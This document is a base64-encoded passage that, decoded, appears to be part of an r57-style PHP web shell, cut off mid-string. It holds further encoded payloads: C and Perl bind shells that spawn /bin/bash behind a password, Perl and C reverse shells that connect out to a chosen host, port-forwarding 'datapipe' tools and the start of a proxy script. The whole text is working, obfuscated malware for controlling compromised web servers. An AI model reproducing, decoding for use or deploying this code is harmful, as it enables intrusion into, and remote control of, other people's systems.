ICAgICB9CiAgICAgICAgfQogICAgICB9CiAgICAgICR0aGlzLT5UaW1lVG90YWwgPSBAcm91bmQoZ2V0bWljcm90aW1lKCkgLSAkdGhpcy0+VGltZVN0YXJ0LDQpOwogICAgfQogIH0KICBmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKQogIHsKICAgIGxpc3QoJHVzZWMsJHNlYykgPSBAZXhwbG9kZSgiICIsQG1pY3JvdGltZSgpKTsKICAgIHJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpOwogIH0KJHBvcnRfYmluZF9iZF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNSeWFXNW5MbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM1I1Y0dWekxtZytEUW9qYVc1amJIVmtaUwpBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DaU5wYm1Oc2RXUmxJRHhsY25KdWJ5NW9QZzBLYVc1MElHMWhhVzRvWVhKbll5eGhjbWQyS1EwS2FXNTBJCkdGeVoyTTdEUXBqYUdGeUlDb3FZWEpuZGpzTkNuc2dJQTBLSUdsdWRDQnpiMk5yWm1Rc0lHNWxkMlprT3cwS0lHTm9ZWElnWW5WbVd6TXdYVHNOQ2lCemRISjFZM1FnYzI5amEyRmtaSEpmYVc0Z2NtVnQKYjNSbE93MEtJR2xtS0dadmNtc29LU0E5UFNBd0tTQjdJQTBLSUhKbGJXOTBaUzV6YVc1ZlptRnRhV3g1SUQwZ1FVWmZTVTVGVkRzTkNpQnlaVzF2ZEdVdWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3loaGRHOQpwS0dGeVozWmJNVjBwS1RzTkNpQnlaVzF2ZEdVdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0lBMEtJSE52WTJ0bVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxGCk5QUTB0ZlUxUlNSVUZOTERBcE93MEtJR2xtS0NGemIyTnJabVFwSUhCbGNuSnZjaWdpYzI5amEyVjBJR1Z5Y205eUlpazdEUW9nWW1sdVpDaHpiMk5yWm1Rc0lDaHpkSEoxWTNRZ2MyOWphMkZrWkhJZ0sKaWttY21WdGIzUmxMQ0F3ZURFd0tUc05DaUJzYVhOMFpXNG9jMjlqYTJaa0xDQTFLVHNOQ2lCM2FHbHNaU2d4S1EwS0lDQjdEUW9nSUNCdVpYZG1aRDFoWTJObGNIUW9jMjlqYTJaa0xEQXNNQ2s3RFFvZwpJQ0JrZFhBeUtHNWxkMlprTERBcE93MEtJQ0FnWkhWd01paHVaWGRtWkN3eEtUc05DaUFnSUdSMWNESW9ibVYzWm1Rc01pazdEUW9nSUNCM2NtbDBaU2h1WlhkbVpDd2lVR0Z6YzNkdmNtUTZJaXd4TUNrCjdEUW9nSUNCeVpXRmtLRzVsZDJaa0xHSjFaaXh6YVhwbGIyWW9ZblZtS1NrN0RRb2dJQ0JwWmlBb0lXTm9jR0Z6Y3loaGNtZDJXekpkTEdKMVppa3BEUW9nSUNCemVYTjBaVzBvSW1WamFHOGdkMlZzWTIKOXRaU0IwYnlCeU5UY2djMmhsYkd3Z0ppWWdMMkpwYmk5aVlYTm9JQzFwSWlrN0RRb2dJQ0JsYkhObERRb2dJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lVMjl5Y25raUtUc05DaUFnSUdOc2IzTmxLRzVsZAoyWmtLVHNOQ2lBZ2ZRMEtJSDBOQ24wTkNtbHVkQ0JqYUhCaGMzTW9ZMmhoY2lBcVltRnpaU3dnWTJoaGNpQXFaVzUwWlhKbFpDa2dldzBLYVc1MElHazdEUXBtYjNJb2FUMHdPMms4YzNSeWJHVnVLR1Z1CmRHVnlaV1FwTzJrckt5a2dEUXA3RFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2JpY3BEUXBsYm5SbGNtVmtXMmxkSUQwZ0oxd3dKenNnRFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2NpY3BEUXAKbGJuUmxjbVZrVzJsZElEMGdKMXd3SnpzTkNuME5DbWxtSUNnaGMzUnlZMjF3S0dKaGMyVXNaVzUwWlhKbFpDa3BEUXB5WlhSMWNtNGdNRHNOQ24wPSI7CiRwb3J0X2JpbmRfYmRfcGw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZZbUZ6YUNBdGFTSTdEUXBwWmlBb1FFRlNSMVlnUENBeEtTQjdJR1Y0YVhRb01TazdJSDBOQ2lSTVMKVk5VUlU1ZlVFOVNWRDBrUVZKSFZsc3dYVHNOQ25WelpTQlRiMk5yWlhRN0RRb2tjSEp2ZEc5amIydzlaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRcwpKbE5QUTB0ZlUxUlNSVUZOTENSd2NtOTBiMk52YkNrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWClRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkV4SlUxUkZUbDlRVDFKVUxFbE9RVVJFVWw5QlRsa3BLU0I4ZkNCa2FXVWdJa05oYm5RZ2IzQmxiaUJ3YjNKMFhHNGlPdzBLYkcKbHpkR1Z1S0ZNc015a2dmSHdnWkdsbElDSkRZVzUwSUd4cGMzUmxiaUJ3YjNKMFhHNGlPdzBLZDJocGJHVW9NU2tOQ25zTkNtRmpZMlZ3ZENoRFQwNU9MRk1wT3cwS2FXWW9JU2drY0dsa1BXWnZjbXNwSwpRMEtldzBLWkdsbElDSkRZVzV1YjNRZ1ptOXlheUlnYVdZZ0tDRmtaV1pwYm1Wa0lDUndhV1FwT3cwS2IzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DbTl3Wlc0Z1UxUkVUMVZVTENJK0prTlBUazRpCk93MEtiM0JsYmlCVFZFUkZVbElzSWo0bVEwOU9UaUk3RFFwbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNtTnNiM04KbElFTlBUazQ3RFFwbGVHbDBJREE3RFFwOURRcDkiOwokYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqCmFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFIKaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVApzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JCmtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkKS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbApPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsKJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQwpCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9nWTJoaGNpQnliWE5iTWpGZFBTSnliClNBdFppQWlPeUFOQ2lCa1lXVnRiMjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmQKS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISgpzWlc0b1lYSm5kbHN5WFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDCkFvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSUNaemFXNHNJSE5wZW1WdlppaHpkSEoxWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0QKUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcApPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7CiRkYXRhcGlwZV9jPSJJMmx1WTJ4MVpHVWdQSE41Y3k5MGVYQmxjeTVvUGcwS0kybHVZMngxWkdVZ1BITjVjeTl6YjJOclpYUXVhRDROQ2lOcGJtTnNkV1JsSUR4emVYTXZkMkZwZEM1b1BnMEtJMmx1WTIKeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DaU5wYm1Oc2RXUmxJRHh6ZEdScGJ5NW9QZzBLSTJsdVkyeDFaR1VnUEhOMFpHeHBZaTVvUGcwS0kybHVZMngxWkdVZ1BHVnljbTV2TG1nK0RRb2phVzVqYgpIVmtaU0E4ZFc1cGMzUmtMbWcrRFFvamFXNWpiSFZrWlNBOGJtVjBaR0l1YUQ0TkNpTnBibU5zZFdSbElEeHNhVzUxZUM5MGFXMWxMbWcrRFFvamFXWmtaV1lnVTFSU1JWSlNUMUlOQ21WNGRHVnliaUJqCmFHRnlJQ3B6ZVhOZlpYSnliR2x6ZEZ0ZE93MEtaWGgwWlhKdUlHbHVkQ0J6ZVhOZmJtVnljanNOQ21Ob1lYSWdLblZ1WkdWbUlEMGdJbFZ1WkdWbWFXNWxaQ0JsY25KdmNpSTdEUXBqYUdGeUlDcHpkSEoKbGNuSnZjaWhsY25KdmNpa2dJQTBLYVc1MElHVnljbTl5T3lBZ0RRcDdJQTBLYVdZZ0tHVnljbTl5SUQ0Z2MzbHpYMjVsY25JcERRcHlaWFIxY200Z2RXNWtaV1k3RFFweVpYUjFjbTRnYzNselgyVnljbQp4cGMzUmJaWEp5YjNKZE93MEtmUTBLSTJWdVpHbG1EUW9OQ20xaGFXNG9ZWEpuWXl3Z1lYSm5kaWtnSUEwS0lDQnBiblFnWVhKbll6c2dJQTBLSUNCamFHRnlJQ29xWVhKbmRqc2dJQTBLZXlBTkNpQWdhClc1MElHeHpiMk5yTENCamMyOWpheXdnYjNOdlkyczdEUW9nSUVaSlRFVWdLbU5tYVd4bE93MEtJQ0JqYUdGeUlHSjFabHMwTURrMlhUc05DaUFnYzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUd4aFpHUnkKTENCallXUmtjaXdnYjJGa1pISTdEUW9nSUdsdWRDQmpZV1JrY214bGJpQTlJSE5wZW1WdlppaGpZV1JrY2lrN0RRb2dJR1prWDNObGRDQm1aSE55TENCbVpITmxPdzBLSUNCemRISjFZM1FnYUc5emRHVgp1ZENBcWFEc05DaUFnYzNSeWRXTjBJSE5sY25abGJuUWdLbk03RFFvZ0lHbHVkQ0J1WW5sME93MEtJQ0IxYm5OcFoyNWxaQ0JzYjI1bklHRTdEUW9nSUhWdWMybG5ibVZrSUhOb2IzSjBJRzl3YjNKME93CjBLRFFvZ0lHbG1JQ2hoY21kaklDRTlJRFFwSUhzTkNpQWdJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lWWE5oWjJVNklDVnpJR3h2WTJGc2NHOXlkQ0J5WlcxdmRHVndiM0owSUhKbGJXOTBaV2h2YzNSY2IKaUlzWVhKbmRsc3dYU2s3RFFvZ0lDQWdjbVYwZFhKdUlETXdPdzBLSUNCOURRb2dJR0VnUFNCcGJtVjBYMkZrWkhJb1lYSm5kbHN6WFNrN0RRb2dJR2xtSUNnaEtHZ2dQU0JuWlhSb2IzTjBZbmx1WVcxbApLR0Z5WjNaYk0xMHBLU0FtSmcwS0lDQWdJQ0FnSVNob0lEMGdaMlYwYUc5emRHSjVZV1JrY2lnbVlTd2dOQ3dnUVVaZlNVNUZWQ2twS1NCN0RRb2dJQ0FnY0dWeWNtOXlLR0Z5WjNaYk0xMHBPdzBLSUNBCmdJSEpsZEhWeWJpQXlOVHNOQ2lBZ2ZRMEtJQ0J2Y0c5eWRDQTlJR0YwYjJ3b1lYSm5kbHN5WFNrN0RRb2dJR3hoWkdSeUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb0tIVnVjMmxuYm1Wa0lITm9iM0owS1MKaGhkRzlzS0dGeVozWmJNVjBwS1NrN0RRb2dJR2xtSUNnb2JITnZZMnNnUFNCemIyTnJaWFFvVUVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lFbFFVRkpQVkU5ZlZFTlFLU2tnUFQwZ0xURXBJSHNOQwppQWdJQ0J3WlhKeWIzSW9Jbk52WTJ0bGRDSXBPdzBLSUNBZ0lISmxkSFZ5YmlBeU1Ec05DaUFnZlEwS0lDQnNZV1JrY2k1emFXNWZabUZ0YVd4NUlEMGdhSFJ2Ym5Nb1FVWmZTVTVGVkNrN0RRb2dJR3hoClpHUnlMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2gwYjI1c0tEQXBPdzBLSUNCcFppQW9ZbWx1WkNoc2MyOWpheXdnSm14aFpHUnlMQ0J6YVhwbGIyWW9iR0ZrWkhJcEtTa2dldzBLSUNBZ0lIQmxjbkoKdmNpZ2lZbWx1WkNJcE93MEtJQ0FnSUhKbGRIVnliaUF5TURzTkNpQWdmUTBLSUNCcFppQW9iR2x6ZEdWdUtHeHpiMk5yTENBeEtTa2dldzBLSUNBZ0lIQmxjbkp2Y2lnaWJHbHpkR1Z1SWlrN0RRb2dJQwpBZ2NtVjBkWEp1SURJd093MEtJQ0I5RFFvZ0lHbG1JQ2dvYm1KNWRDQTlJR1p2Y21zb0tTa2dQVDBnTFRFcElIc05DaUFnSUNCd1pYSnliM0lvSW1admNtc2lLVHNOQ2lBZ0lDQnlaWFIxY200Z01qQTdEClFvZ0lIME5DaUFnYVdZZ0tHNWllWFFnUGlBd0tRMEtJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQnpaWFJ6YVdRb0tUc05DaUFnZDJocGJHVWdLQ2hqYzI5amF5QTlJR0ZqWTJWd2RDaHNjMjlqYXl3Z0ptTmgKWkdSeUxDQW1ZMkZrWkhKc1pXNHBLU0FoUFNBdE1Ta2dldzBLSUNBZ0lHTm1hV3hsSUQwZ1ptUnZjR1Z1S0dOemIyTnJMQ0p5S3lJcE93MEtJQ0FnSUdsbUlDZ29ibUo1ZENBOUlHWnZjbXNvS1NrZ1BUMApnTFRFcElIc05DaUFnSUNBZ0lHWndjbWx1ZEdZb1kyWnBiR1VzSUNJMU1EQWdabTl5YXpvZ0pYTmNiaUlzSUhOMGNtVnljbTl5S0dWeWNtNXZLU2s3RFFvZ0lDQWdJQ0J6YUhWMFpHOTNiaWhqYzI5amF5Cnd5S1RzTkNpQWdJQ0FnSUdaamJHOXpaU2hqWm1sc1pTazdEUW9nSUNBZ0lDQmpiMjUwYVc1MVpUc05DaUFnSUNCOURRb2dJQ0FnYVdZZ0tHNWllWFFnUFQwZ01Da05DaUFnSUNBZ0lHZHZkRzhnWjI5MGMKMjlqYXpzTkNpQWdJQ0JtWTJ4dmMyVW9ZMlpwYkdVcE93MEtJQ0FnSUhkb2FXeGxJQ2gzWVdsMGNHbGtLQzB4TENCT1ZVeE1MQ0JYVGs5SVFVNUhLU0ErSURBcE93MEtJQ0I5RFFvZ0lISmxkSFZ5YmlBeQpNRHNOQ2cwS0lHZHZkSE52WTJzNkRRb2dJR2xtSUNnb2IzTnZZMnNnUFNCemIyTnJaWFFvVUVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lFbFFVRkpQVkU5ZlZFTlFLU2tnUFQwZ0xURXBJSHNOQ2lBCmdJQ0JtY0hKcGJuUm1LR05tYVd4bExDQWlOVEF3SUhOdlkydGxkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQnZZV1JrY2kKNXphVzVmWm1GdGFXeDVJRDBnYUMwK2FGOWhaR1J5ZEhsd1pUc05DaUFnYjJGa1pISXVjMmx1WDNCdmNuUWdQU0JvZEc5dWN5aHZjRzl5ZENrN0RRb2dJRzFsYldOd2VTZ21iMkZrWkhJdWMybHVYMkZrWgpISXNJR2d0UG1oZllXUmtjaXdnYUMwK2FGOXNaVzVuZEdncE93MEtJQ0JwWmlBb1kyOXVibVZqZENodmMyOWpheXdnSm05aFpHUnlMQ0J6YVhwbGIyWW9iMkZrWkhJcEtTa2dldzBLSUNBZ0lHWndjbWx1CmRHWW9ZMlpwYkdVc0lDSTFNREFnWTI5dWJtVmpkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQjNhR2xzWlNBb01Ta2dldzAKS0lDQWdJRVpFWDFwRlVrOG9KbVprYzNJcE93MEtJQ0FnSUVaRVgxcEZVazhvSm1aa2MyVXBPdzBLSUNBZ0lFWkVYMU5GVkNoamMyOWpheXdtWm1SemNpazdEUW9nSUNBZ1JrUmZVMFZVS0dOemIyTnJMQwpabVpITmxLVHNOQ2lBZ0lDQkdSRjlUUlZRb2IzTnZZMnNzSm1aa2MzSXBPdzBLSUNBZ0lFWkVYMU5GVkNodmMyOWpheXdtWm1SelpTazdEUW9nSUNBZ2FXWWdLSE5sYkdWamRDZ3lNQ3dnSm1aa2MzSXNJCkU1VlRFd3NJQ1ptWkhObExDQk9WVXhNS1NBOVBTQXRNU2tnZXcwS0lDQWdJQ0FnWm5CeWFXNTBaaWhqWm1sc1pTd2dJalV3TUNCelpXeGxZM1E2SUNWelhHNGlMQ0J6ZEhKbGNuSnZjaWhsY25KdWJ5a3AKT3cwS0lDQWdJQ0FnWjI5MGJ5QnhkV2wwTWpzTkNpQWdJQ0I5RFFvZ0lDQWdhV1lnS0VaRVgwbFRVMFZVS0dOemIyTnJMQ1ptWkhOeUtTQjhmQ0JHUkY5SlUxTkZWQ2hqYzI5amF5d21abVJ6WlNrcElIcwpOQ2lBZ0lDQWdJR2xtSUNnb2JtSjVkQ0E5SUhKbFlXUW9ZM052WTJzc1luVm1MRFF3T1RZcEtTQThQU0F3S1EwS0NXZHZkRzhnY1hWcGRESTdEUW9nSUNBZ0lDQnBaaUFvS0hkeWFYUmxLRzl6YjJOckxHCkoxWml4dVlubDBLU2tnUEQwZ01Da05DZ2xuYjNSdklIRjFhWFF5T3cwS0lDQWdJSDBnWld4elpTQnBaaUFvUmtSZlNWTlRSVlFvYjNOdlkyc3NKbVprYzNJcElIeDhJRVpFWDBsVFUwVlVLRzl6YjJOckwKQ1ptWkhObEtTa2dldzBLSUNBZ0lDQWdhV1lnS0NodVlubDBJRDBnY21WaFpDaHZjMjlqYXl4aWRXWXNOREE1TmlrcElEdzlJREFwRFFvSloyOTBieUJ4ZFdsME1qc05DaUFnSUNBZ0lHbG1JQ2dvZDNKcApkR1VvWTNOdlkyc3NZblZtTEc1aWVYUXBLU0E4UFNBd0tRMEtDV2R2ZEc4Z2NYVnBkREk3RFFvZ0lDQWdmUTBLSUNCOURRb05DaUJ4ZFdsME1qb05DaUFnYzJoMWRHUnZkMjRvYjNOdlkyc3NNaWs3RFFvCmdJR05zYjNObEtHOXpiMk5yS1RzTkNpQnhkV2wwTVRvTkNpQWdabVpzZFhOb0tHTm1hV3hsS1RzTkNpQWdjMmgxZEdSdmQyNG9ZM052WTJzc01pazdEUW9nY1hWcGREQTZEUW9nSUdaamJHOXpaU2hqWm0KbHNaU2s3RFFvZ0lISmxkSFZ5YmlBd093MEtmUT09IjsKJGRhdGFwaXBlX3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNuVnpaU0JRVDFOSldEc05DaVJzYjJOaGJIQnZjblFnUFNBa1FWSkhWbHN3WFRzTkNpUm9iM04wSQpDQWdJQ0FnUFNBa1FWSkhWbHN4WFRzTkNpUndiM0owSUNBZ0lDQWdQU0FrUVZKSFZsc3lYVHNOQ2lSa1lXVnRiMjQ5TVRzTkNpUkVTVklnUFNCMWJtUmxaanNOQ2lSOElEMGdNVHNOQ21sbUlDZ2taR0ZsCmJXOXVLWHNnSkhCcFpDQTlJR1p2Y21zN0lHVjRhWFFnYVdZZ0pIQnBaRHNnWkdsbElDSWtJU0lnZFc1c1pYTnpJR1JsWm1sdVpXUW9KSEJwWkNrN0lGQlBVMGxZT2pwelpYUnphV1FvS1NCdmNpQmthV1UKZ0lpUWhJanNnZlEwS0pXOGdQU0FvSjNCdmNuUW5JRDArSUNSc2IyTmhiSEJ2Y25Rc0ozUnZjRzl5ZENjZ1BUNGdKSEJ2Y25Rc0ozUnZhRzl6ZENjZ1BUNGdKR2h2YzNRcE93MEtKR0ZvSUQwZ1NVODZPbApOdlkydGxkRG82U1U1RlZDMCtibVYzS0NkTWIyTmhiRkJ2Y25RbklEMCtJQ1JzYjJOaGJIQnZjblFzSjFKbGRYTmxKeUE5UGlBeExDZE1hWE4wWlc0bklEMCtJREV3S1NCOGZDQmthV1VnSWlRaElqc05DCmlSVFNVZDdKME5JVEVRbmZTQTlJQ2RKUjA1UFVrVW5PdzBLSkc1MWJTQTlJREE3RFFwM2FHbHNaU0FvTVNrZ2V5QU5DaVJqYUNBOUlDUmhhQzArWVdOalpYQjBLQ2s3SUdsbUlDZ2hKR05vS1NCN0lIQnkKYVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3SUc1bGVIUTdJSDBOQ2lzckpHNTFiVHNOQ2lSd2FXUWdQU0JtYjNKcktDazdEUXBwWmlBb0lXUmxabWx1WldRb0pIQnBaQ2twSUhzZ2NISnBiblFnVTFSRVJWSgpTSUNJa0lWeHVJanNnZlNBTkNtVnNjMmxtSUNna2NHbGtJRDA5SURBcElIc2dKR0ZvTFQ1amJHOXpaU2dwT3lCU2RXNG9YQ1Z2TENBa1kyZ3NJQ1J1ZFcwcE95QjlJQTBLWld4elpTQjdJQ1JqYUMwK1kyCnh2YzJVb0tUc2dmUTBLZlEwS2MzVmlJRkoxYmlCN0RRcHRlU2drYnl3Z0pHTm9MQ0FrYm5WdEtTQTlJRUJmT3cwS2JYa2dKSFJvSUQwZ1NVODZPbE52WTJ0bGREbzZTVTVGVkMwK2JtVjNLQ2RRWldWeVEKV1JrY2ljZ1BUNGdKRzh0UG5zbmRHOW9iM04wSjMwc0oxQmxaWEpRYjNKMEp5QTlQaUFrYnkwK2V5ZDBiM0J2Y25RbmZTazdEUXBwWmlBb0lTUjBhQ2tnZXlCbGVHbDBJREE3SUgwTkNtMTVJQ1JtYURzTgpDbWxtSUNna2J5MCtleWRrYVhJbmZTa2dleUFrWm1nZ1BTQlRlVzFpYjJ3Nk9tZGxibk41YlNncE95QnZjR1Z1S0NSbWFDd2dJajRrYnkwK2V5ZGthWEluZlM5MGRXNXVaV3drYm5WdExteHZaeUlwSUc5CnlJR1JwWlNBaUpDRWlPeUI5RFFva1kyZ3RQbUYxZEc5bWJIVnphQ2dwT3cwS0pIUm9MVDVoZFhSdlpteDFjMmdvS1RzTkNuZG9hV3hsSUNna1kyZ2dmSHdnSkhSb0tTQjdEUXB0ZVNBa2NtbHVJRDBnSWkKSTdEUXAyWldNb0pISnBiaXdnWm1sc1pXNXZLQ1JqYUNrc0lERXBJRDBnTVNCcFppQWtZMmc3RFFwMlpXTW9KSEpwYml3Z1ptbHNaVzV2S0NSMGFDa3NJREVwSUQwZ01TQnBaaUFrZEdnN0RRcHRlU2drYwptOTFkQ3dnSkdWdmRYUXBPdzBLYzJWc1pXTjBLQ1J5YjNWMElEMGdKSEpwYml3Z2RXNWtaV1lzSUNSbGIzVjBJRDBnSkhKcGJpd2dNVEl3S1RzTkNtbG1JQ2doSkhKdmRYUWdJQ1ltSUNBaEpHVnZkWFFwCklIdDlEUXB0ZVNBa1kySjFabVpsY2lBOUlDSWlPdzBLYlhrZ0pIUmlkV1ptWlhJZ1BTQWlJanNOQ21sbUlDZ2tZMmdnSmlZZ0tIWmxZeWdrWlc5MWRDd2dabWxzWlc1dktDUmphQ2tzSURFcElIeDhJSFoKbFl5Z2tjbTkxZEN3Z1ptbHNaVzV2S0NSamFDa3NJREVwS1NrZ2V3MEtiWGtnSkhKbGMzVnNkQ0E5SUhONWMzSmxZV1FvSkdOb0xDQWtkR0oxWm1abGNpd2dNVEF5TkNrN0RRcHBaaUFvSVdSbFptbHVaVwpRb0pISmxjM1ZzZENrcElIc05DbkJ5YVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3RFFwbGVHbDBJREE3RFFwOURRcHBaaUFvSkhKbGMzVnNkQ0E5UFNBd0tTQjdJR1Y0YVhRZ01Ec2dmUTBLZlEwS2FXWWdLCkNSMGFDQWdKaVlnSUNoMlpXTW9KR1Z2ZFhRc0lHWnBiR1Z1Ynlna2RHZ3BMQ0F4S1NBZ2ZId2dkbVZqS0NSeWIzVjBMQ0JtYVd4bGJtOG9KSFJvS1N3Z01Ta3BLU0I3RFFwdGVTQWtjbVZ6ZFd4MElEMGcKYzNsemNtVmhaQ2drZEdnc0lDUmpZblZtWm1WeUxDQXhNREkwS1RzTkNtbG1JQ2doWkdWbWFXNWxaQ2drY21WemRXeDBLU2tnZXlCd2NtbHVkQ0JUVkVSRlVsSWdJaVFoWEc0aU95QmxlR2wwSURBN0lIMApOQ21sbUlDZ2tjbVZ6ZFd4MElEMDlJREFwSUh0bGVHbDBJREE3ZlEwS2ZRMEthV1lnS0NSbWFDQWdKaVlnSUNSMFluVm1abVZ5S1NCN0tIQnlhVzUwSUNSbWFDQWtkR0oxWm1abGNpazdmUTBLZDJocGJHClVnS0cxNUlDUnNaVzRnUFNCc1pXNW5kR2dvSkhSaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcGRHVW9KSFJvTENBa2RHSjFabVpsY2l3Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0kKREFwSUhza2RHSjFabVpsY2lBOUlITjFZbk4wY2lna2RHSjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNtVnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmUTBLZDJocGJHVWdLRzE1SUNScwpaVzRnUFNCc1pXNW5kR2dvSkdOaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcGRHVW9KR05vTENBa1kySjFabVpsY2l3Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0lEQXBJSHNrWTJKCjFabVpsY2lBOUlITjFZbk4wY2lna1kySjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNtVnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmWDE5RFFvPSI7CiRwcnhfcGw9Ikl5RjFjM0l2WW1sdUwzQmxjbXdLZFhObElGTnZZMnRsZERzS2JYa2dKSEJ2Y25RZ1BTQWtRVkpIVmxzd1hYeDhNekV6TXpjN0NtMTVJQ1J3Y205MGIyTnZiQ0E5SUdkbGRIQnliM1J2WW4KbHVZVzFsS0NkMFkzQW5LVHNLYlhrZ0pHMTVYMkZrWkhJZ0l